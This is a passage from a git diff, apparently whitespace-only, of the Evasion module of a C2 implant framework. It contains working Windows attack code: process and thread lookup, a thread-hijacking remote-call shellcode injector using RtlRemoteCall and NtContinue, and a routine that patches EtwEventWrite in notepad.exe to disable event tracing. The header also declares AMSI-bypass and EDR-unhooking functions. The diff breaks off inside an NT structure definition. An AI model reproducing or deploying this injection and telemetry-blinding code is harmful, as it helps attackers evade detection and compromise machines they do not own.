PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) - { - char* buffer = new char[size]; - if (ReadProcessMemory(GetCurrentProcess(), address, buffer, size, &bytesRead)) - { - result = stringToHexFormat(buffer); - } - delete[] buffer; - } - } + if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) + { + // check if read memory + if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) + { + char* buffer = new char[size]; + if (ReadProcessMemory(GetCurrentProcess(), address, buffer, size, &bytesRead)) + { + result = stringToHexFormat(buffer); + } + delete[] buffer; + } + } - return 0; + return 0; } @@ -1012,33 +1012,33 @@ int Evasion::readMemory(std::string& result, const std::string& hexAddress, cons // int FindTarget(const char *procname) { - HANDLE hProcSnap; - PROCESSENTRY32 pe32; - int pid = 0; - - hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (INVALID_HANDLE_VALUE == hProcSnap) return 0; - - pe32.dwSize = sizeof(PROCESSENTRY32); - - if (!Process32First(hProcSnap, &pe32)) - { - CloseHandle(hProcSnap); - return 0; - } - - while (Process32Next(hProcSnap, &pe32)) - { - if (lstrcmpiA(procname, pe32.szExeFile) == 0) - { - pid = pe32.th32ProcessID; - break; - } - } - - CloseHandle(hProcSnap); - - return pid; + HANDLE hProcSnap; + PROCESSENTRY32 pe32; + int pid = 0; + + hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (INVALID_HANDLE_VALUE == hProcSnap) return 0; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hProcSnap, &pe32)) + { + CloseHandle(hProcSnap); + return 0; + } + + while (Process32Next(hProcSnap, &pe32)) + { + if (lstrcmpiA(procname, pe32.szExeFile) == 0) + { + pid = pe32.th32ProcessID; + break; + } + } + + CloseHandle(hProcSnap); + + return pid; } @@ -1050,252 +1050,252 @@ int FindThreadID(int pid) thEntry.dwSize = sizeof(thEntry); HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - while (Thread32Next(Snap, &thEntry)) - { - if (thEntry.th32OwnerProcessID == pid) - { - tid = thEntry.th32ThreadID; - break; - } - } - CloseHandle(Snap); - - return tid; + while (Thread32Next(Snap, &thEntry)) + { + if (thEntry.th32OwnerProcessID == pid) + { + tid = thEntry.th32ThreadID; + break; + } + } + CloseHandle(Snap); + + return tid; } #define RETVAL_TAG 0xAABBCCDD -typedef NTSTATUS (NTAPI * RtlRemoteCall_t)(HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended); -typedef NTSTATUS (NTAPI * NtContinue_t)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert); +typedef NTSTATUS (NTAPI * RtlRemoteCall_t)(HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended); +typedef NTSTATUS (NTAPI * NtContinue_t)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert); typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); typedef BOOL (WINAPI * WriteProcessMemory_t)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); typedef struct _API_REMOTE_CALL { - // remote API call return value - size_t retval; - - // standard function to call at the end of the shellcode - NtContinue_t ntContinue; - CONTEXT context; - - // remote function to call - adjust the types! - VirtualProtect_t ARK_func1; - PVOID address; - SIZE_T size; - DWORD newProtect; - DWORD oldProtect; + // remote API call return value + size_t retval; + + // standard function to call at the end of the shellcode + NtContinue_t ntContinue; + CONTEXT context; + + // remote function to call - adjust the types! + VirtualProtect_t ARK_func1; + PVOID address; + SIZE_T size; + DWORD newProtect; + DWORD oldProtect; - WriteProcessMemory_t ARK_func2; - HANDLE process; - char patch[10]; - SIZE_T sizePatch; - SIZE_T numberOfBytesWritten; + WriteProcessMemory_t ARK_func2; + HANDLE process; + char patch[10]; + SIZE_T sizePatch; + SIZE_T numberOfBytesWritten; } ApiReeKall; void SHELLCODE(ApiReeKall * ark) { - size_t ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->newProtect, &ark->oldProtect); - ret = (size_t) ark->ARK_func2(ark->process, ark->address, (void*)&ark->patch, ark->sizePatch, &ark->numberOfBytesWritten); - ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->oldProtect, &ark->oldProtect); - ark->retval = ret; - ark->ntContinue(&ark->context, 0); + size_t ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->newProtect, &ark->oldProtect); + ret = (size_t) ark->ARK_func2(ark->process, ark->address, (void*)&ark->patch, ark->sizePatch, &ark->numberOfBytesWritten); + ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->oldProtect, &ark->oldProtect); + ark->retval = ret; + ark->ntContinue(&ark->context, 0); } void SHELLCODE_END(void) {} size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) { - char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12 - 0x49, 0x8b, 0xd5, // mov rdx, r13 - 0x4d, 0x8b, 0xc6, // mov r8, r14 - 0x4d, 0x8b, 0xcf // mov r9, r15 - }; - int prolog_size = sizeof(prolog); - - // resolve needed API pointers - RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall"); - NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue"); - - if (pRtlRemoteCall == NULL || pNtContinue == NULL) - return -1; + char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12 + 0x49, 0x8b, 0xd5, // mov rdx, r13 + 0x4d, 0x8b, 0xc6, // mov r8, r14 + 0x4d, 0x8b, 0xcf // mov r9, r15 + }; + int prolog_size = sizeof(prolog); + + // resolve needed API pointers + RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall"); + NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue"); + + if (pRtlRemoteCall == NULL || pNtContinue == NULL) + return -1; - // allocate some space in the target for our shellcode - void * remote_mem = VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (remote_mem == NULL) - return -1; - - // calculate the size of our shellcode - size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE; + // allocate some space in the target for our shellcode + void * remote_mem = VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (remote_mem == NULL) + return -1; + + // calculate the size of our shellcode + size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE; - size_t bOut = 0; + size_t bOut = 0; #ifdef _WIN64 - // first, write prolog, if the process is 64-bit - if (WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - return -1; - } + // first, write prolog, if the process is 64-bit + if (WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + return -1; + } #else - // otherwise, ignore the prolog - prolog_size = 0; + // otherwise, ignore the prolog + prolog_size = 0; #endif - // write the main payload - if (WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - return -1; - } - - // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking - ark.retval = RETVAL_TAG; - ark.ntContinue = pNtContinue; - ark.context.ContextFlags = CONTEXT_FULL; - SuspendThread(hThread); - GetThreadContext(hThread, &ark.context); + // write the main payload + if (WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + return -1; + } + + // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking + ark.retval = RETVAL_TAG; + ark.ntContinue = pNtContinue; + ark.context.ContextFlags = CONTEXT_FULL; + SuspendThread(hThread); + GetThreadContext(hThread, &ark.context); - // prepare an argument to be passed to our shellcode - ApiReeKall * ark_arg; - ark_arg = (ApiReeKall *) ((size_t) remote_mem + prolog_size + sc_size + ((size_t) remote_mem + prolog_size + sc_size)%0x10); // align to 0x10 - if (WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - ResumeThread(hThread); - return -1; - } - - NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1); - ResumeThread(hThread); + // prepare an argument to be passed to our shellcode + ApiReeKall * ark_arg; + ark_arg = (ApiReeKall *) ((size_t) remote_mem + prolog_size + sc_size + ((size_t) remote_mem + prolog_size + sc_size)%0x10); // align to 0x10 + if (WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + ResumeThread(hThread); + return -1; + } + + NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1); + ResumeThread(hThread); - // get the remote API call return value - size_t ret = 0; - while(TRUE) - { - Sleep(1000); - ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut); - if (ret != RETVAL_TAG) - break; - } - - // dealloc the shellcode memory to remove suspicious artifacts - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + // get the remote API call return value + size_t ret = 0; + while(TRUE) + { + Sleep(1000); + ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut); + if (ret != RETVAL_TAG) + break; + } + + // dealloc the shellcode memory to remove suspicious artifacts + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - return ret; + return ret; } int Evasion::remotePatch(std::string& result) { - bool isRemotePatchReeKall = false; - bool isRemotePatchDirect = true; - if(isRemotePatchReeKall) - { - std::string process = "notepad.exe"; - std::string moduleName = "ntdll.dll"; - std::string target = "EtwEventWrite"; - std::string patch = "\x48\x33\xc0\xc3"; - int offset = 0; + bool isRemotePatchReeKall = false; + bool isRemotePatchDirect = true; + if(isRemotePatchReeKall) + { + std::string process = "notepad.exe"; + std::string moduleName = "ntdll.dll"; + std::string target = "EtwEventWrite"; + std::string patch = "\x48\x33\xc0\xc3"; + int offset = 0; - DWORD pid = FindTarget(process.c_str()); - if (pid == 0) - { - result += "Could not find target process."; - return -1; - } - - DWORD tid = FindThreadID(pid); - if (tid == 0) - { - result += "Could not find a thread."; - return -1; - } - - // open both process and thread in the remote target - HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); - HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, tid); - if (hProcess == NULL || hThread == NULL) - { - result += "Error opening remote process and thread."; - return -1; - } + DWORD pid = FindTarget(process.c_str()); + if (pid == 0) + { + result += "Could not find target process."; + return -1; + } + + DWORD tid = FindThreadID(pid); + if (tid == 0) + { + result += "Could not find a thread."; + return -1; + } + + // open both process and thread in the remote target + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, tid); + if (hProcess == NULL || hThread == NULL) + { + result += "Error opening remote process and thread."; + return -1; + } - // prepare patching ApiReeKall struct - ApiReeKall ark = { 0 }; - ark.ARK_func1 = (VirtualProtect_t) GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect"); - FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); - ark.address = reinterpret_cast(procAddress) + offset; - ark.size = 1024; - ark.newProtect = PAGE_READWRITE; - ark.oldProtect = 0; + // prepare patching ApiReeKall struct + ApiReeKall ark = { 0 }; + ark.ARK_func1 = (VirtualProtect_t) GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect"); + FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); + ark.address = reinterpret_cast(procAddress) + offset; + ark.size = 1024; + ark.newProtect = PAGE_READWRITE; + ark.oldProtect = 0; - ark.ARK_func2 = (WriteProcessMemory_t) GetProcAddress(LoadLibrary("kernel32.dll"), "WriteProcessMemory"); - ark.process = (HANDLE)-1; - memcpy(ark.patch, patch.c_str(), patch.size()); - ark.sizePatch = patch.size(); - ark.numberOfBytesWritten = 0; - - size_t ret = MakeReeKall(hProcess, hThread, ark); - if(ret==-1) - { - result += "Failed"; - } - else - { - result += "Success"; - } - - // cleanup - CloseHandle(hThread); - CloseHandle(hProcess); - } - else if(isRemotePatchDirect) - { - std::string process = "notepad.exe"; - std::string moduleName = "ntdll.dll"; - std::string target = "EtwEventWrite"; - std::string patch = "\x48\x33\xc0\xc3"; - int offset = 0; + ark.ARK_func2 = (WriteProcessMemory_t) GetProcAddress(LoadLibrary("kernel32.dll"), "WriteProcessMemory"); + ark.process = (HANDLE)-1; + memcpy(ark.patch, patch.c_str(), patch.size()); + ark.sizePatch = patch.size(); + ark.numberOfBytesWritten = 0; + + size_t ret = MakeReeKall(hProcess, hThread, ark); + if(ret==-1) + { + result += "Failed"; + } + else + { + result += "Success"; + } + + // cleanup + CloseHandle(hThread); + CloseHandle(hProcess); + } + else if(isRemotePatchDirect) + { + std::string process = "notepad.exe"; + std::string moduleName = "ntdll.dll"; + std::string target = "EtwEventWrite"; + std::string patch = "\x48\x33\xc0\xc3"; + int offset = 0; - DWORD pid = FindTarget(process.c_str()); - if (pid == 0) - { - result += "Could not find target process."; - return -1; - } - - DWORD tid = FindThreadID(pid); - if (tid == 0) - { - result += "Could not find a thread."; - return -1; - } - - // open both process and thread in the remote target - HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); - if (hProcess == NULL) - { - result += "Error opening remote process and thread."; - return -1; - } + DWORD pid = FindTarget(process.c_str()); + if (pid == 0) + { + result += "Could not find target process."; + return -1; + } + + DWORD tid = FindThreadID(pid); + if (tid == 0) + { + result += "Could not find a thread."; + return -1; + } + + // open both process and thread in the remote target + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + if (hProcess == NULL) + { + result += "Error opening remote process and thread."; + return -1; + } - FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); - void* address = reinterpret_cast(procAddress) + offset; + FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); + void* address = reinterpret_cast(procAddress) + offset; - DWORD oldprotect = 0; - VirtualProtectEx(hProcess, address, 1024, PAGE_READWRITE, &oldprotect); - - WriteProcessMemory(hProcess, address, (PVOID)patch.c_str(), patch.size(), 0); + DWORD oldprotect = 0; + VirtualProtectEx(hProcess, address, 1024, PAGE_READWRITE, &oldprotect); + + WriteProcessMemory(hProcess, address, (PVOID)patch.c_str(), patch.size(), 0); - VirtualProtectEx(hProcess, address, 1024, oldprotect, &oldprotect); - - CloseHandle(hProcess); - } + VirtualProtectEx(hProcess, address, 1024, oldprotect, &oldprotect); + + CloseHandle(hProcess); + } - return 0; + return 0; } diff --git a/modules/Evasion/Evasion.hpp b/modules/Evasion/Evasion.hpp index c7a3a06..29442ae 100644 --- a/modules/Evasion/Evasion.hpp +++ b/modules/Evasion/Evasion.hpp @@ -7,29 +7,29 @@ class Evasion : public ModuleCmd { public: - Evasion(); - ~Evasion(); + Evasion(); + ~Evasion(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: #ifdef _WIN32 - int checkHooks(std::string& result); - int unhookFreshCopy(std::string& result); - int unhookPerunsFart(std::string& result); - int amsiBypass(std::string& result); - int introspection(std::string& result, std::string& moduleName); - int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch); - int readMemory(std::string& result, const std::string& hexAddress, const int size); - int remotePatch(std::string& result); + int checkHooks(std::string& result); + int unhookFreshCopy(std::string& result); + int unhookPerunsFart(std::string& result); + int amsiBypass(std::string& result); + int introspection(std::string& result, std::string& moduleName); + int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch); + int readMemory(std::string& result, const std::string& hexAddress, const int size); + int remotePatch(std::string& result); #endif }; diff --git a/modules/Evasion/structs.hpp b/modules/Evasion/structs.hpp index 0a5ff0f..2aec8b8 100644 --- a/modules/Evasion/structs.hpp +++ b/modules/Evasion/structs.hpp @@ -5,333 +5,333 @@ STRUCTURES --------------------------------------------------------------------*/ typedef struct _LSA_UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _LDR_MODULE { - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID BaseAddress; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB_LDR_DATA { - ULONG Length; - ULONG Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _PEB { - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - BOOLEAN Spare; - HANDLE Mutant; - PVOID ImageBase; - PPEB_LDR_DATA LoaderData; - PVOID ProcessParameters; - PVOID SubSystemData; - PVOID ProcessHeap; - PVOID FastPebLock; - PVOID FastPebLockRoutine; - PVOID FastPebUnlockRoutine; - ULONG EnvironmentUpdateCount; - PVOID* KernelCallbackTable; - PVOID EventLogSection; - PVOID EventLog; - PVOID FreeList; - ULONG TlsExpansionCounter; - PVOID TlsBitmap; - ULONG TlsBitmapBits[0x2]; - PVOID ReadOnlySharedMemoryBase; - PVOID ReadOnlySharedMemoryHeap; - PVOID* ReadOnlyStaticServerData; - PVOID AnsiCodePageData; - PVOID OemCodePageData; - PVOID UnicodeCaseTableData; - ULONG NumberOfProcessors; - ULONG NtGlobalFlag; - BYTE Spare2[0x4]; - LARGE_INTEGER CriticalSectionTimeout; - ULONG HeapSegmentReserve; - ULONG HeapSegmentCommit; - ULONG HeapDeCommitTotalFreeThreshold; - ULONG HeapDeCommitFreeBlockThreshold; - ULONG NumberOfHeaps; - ULONG MaximumNumberOfHeaps; - PVOID** ProcessHeaps; - PVOID GdiSharedHandleTable; - PVOID ProcessStarterHelper; - PVOID GdiDCAttributeList; - PVOID LoaderLock; - ULONG OSMajorVersion; - ULONG OSMinorVersion; - ULONG OSBuildNumber; - ULONG OSPlatformId; - ULONG ImageSubSystem; - ULONG ImageSubSystemMajorVersion; - ULONG ImageSubSystemMinorVersion; - ULONG GdiHandleBuffer[0x22]; - ULONG PostProcessInitRoutine; - ULONG TlsExpansionBitmap; - BYTE TlsExpansionBitmapBits[0x80]; - ULONG SessionId; + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; } PEB, * PPEB; typedef struct __CLIENT_ID { - HANDLE UniqueProcess; - HANDLE UniqueThread; + HANDLE UniqueProcess; + HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { - ULONG Flags; - PCHAR FrameName; + ULONG Flags; + PCHAR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { - ULONG Flags; - struct _TEB_ACTIVE_FRAME* Previous; - PTEB_ACTIVE_FRAME_CONTEXT Context; + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _GDI_TEB_BATCH { - ULONG Offset; - ULONG HDC; - ULONG Buffer[310]; + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef PVOID PACTIVATION_CONTEXT; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { - struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; - PACTIVATION_CONTEXT ActivationContext; - ULONG Flags; + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { - PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; - LIST_ENTRY FrameListCache; - ULONG Flags; - ULONG NextCookieSequenceNumber; - ULONG StackId; + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _TEB { - NT_TIB NtTib; - PVOID EnvironmentPointer; - CLIENT_ID ClientId; - PVOID ActiveRpcHandle; - PVOID ThreadLocalStoragePointer; - PPEB ProcessEnvironmentBlock; - ULONG LastErrorValue; - ULONG CountOfOwnedCriticalSections; - PVOID CsrClientThread; - PVOID Win32ThreadInfo; - ULONG User32Reserved[26]; - ULONG UserReserved[5]; - PVOID WOW32Reserved; - LCID CurrentLocale; - ULONG FpSoftwareStatusRegister; - PVOID SystemReserved1[54]; - LONG ExceptionCode; + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; #if (NTDDI_VERSION >= NTDDI_LONGHORN) - PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; - UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; - ULONG TxFsContext; + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; #elif (NTDDI_VERSION >= NTDDI_WS03) - PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; - UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; #else - ACTIVATION_CONTEXT_STACK ActivationContextStack; - UCHAR SpareBytes1[24]; + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; #endif - GDI_TEB_BATCH GdiTebBatch; - CLIENT_ID RealClientId; - PVOID GdiCachedProcessHandle; - ULONG GdiClientPID; - ULONG GdiClientTID; - PVOID GdiThreadLocalInfo; - PSIZE_T Win32ClientInfo[62]; - PVOID glDispatchTable[233]; - PSIZE_T glReserved1[29]; - PVOID glReserved2; - PVOID glSectionInfo; - PVOID glSection; - PVOID glTable; - PVOID glCurrentRC; - PVOID glContext; - NTSTATUS LastStatusValue; - UNICODE_STRING StaticUnicodeString; - WCHAR StaticUnicodeBuffer[261]; - PVOID DeallocationStack; - PVOID TlsSlots[64]; - LIST_ENTRY TlsLinks; - PVOID Vdm; - PVOID ReservedForNtRpc; - PVOID DbgSsReserved[2]; + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; #if (NTDDI_VERSION >= NTDDI_WS03) - ULONG HardErrorMode; + ULONG HardErrorMode; #else - ULONG HardErrorsAreDisabled; + ULONG HardErrorsAreDisabled; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) - PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; - GUID ActivityId; - PVOID SubProcessTag; - PVOID EtwLocalData; - PVOID EtwTraceData; + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; #elif (NTDDI_VERSION >= NTDDI_WS03) - PVOID Instrumentation[14]; - PVOID SubProcessTag; - PVOID EtwLocalData; + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; #else - PVOID Instrumentation[16]; + PVOID Instrumentation[16]; #endif - PVOID WinSockData; - ULONG GdiBatchCount; + PVOID WinSockData; + ULONG GdiBatchCount; #if (NTDDI_VERSION >= NTDDI_LONGHORN) - BOOLEAN SpareBool0; - BOOLEAN SpareBool1; - BOOLEAN SpareBool2; + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; #else - BOOLEAN InDbgPrint; - BOOLEAN FreeStackOnTermination; - BOOLEAN HasFiberData; + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; #endif - UCHAR IdealProcessor; + UCHAR IdealProcessor; #if (NTDDI_VERSION >= NTDDI_WS03) - ULONG GuaranteedStackBytes; + ULONG GuaranteedStackBytes; #else - ULONG Spare3; + ULONG Spare3; #endif - PVOID ReservedForPerf; - PVOID ReservedForOle; - ULONG WaitingOnLoaderLock; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; #if 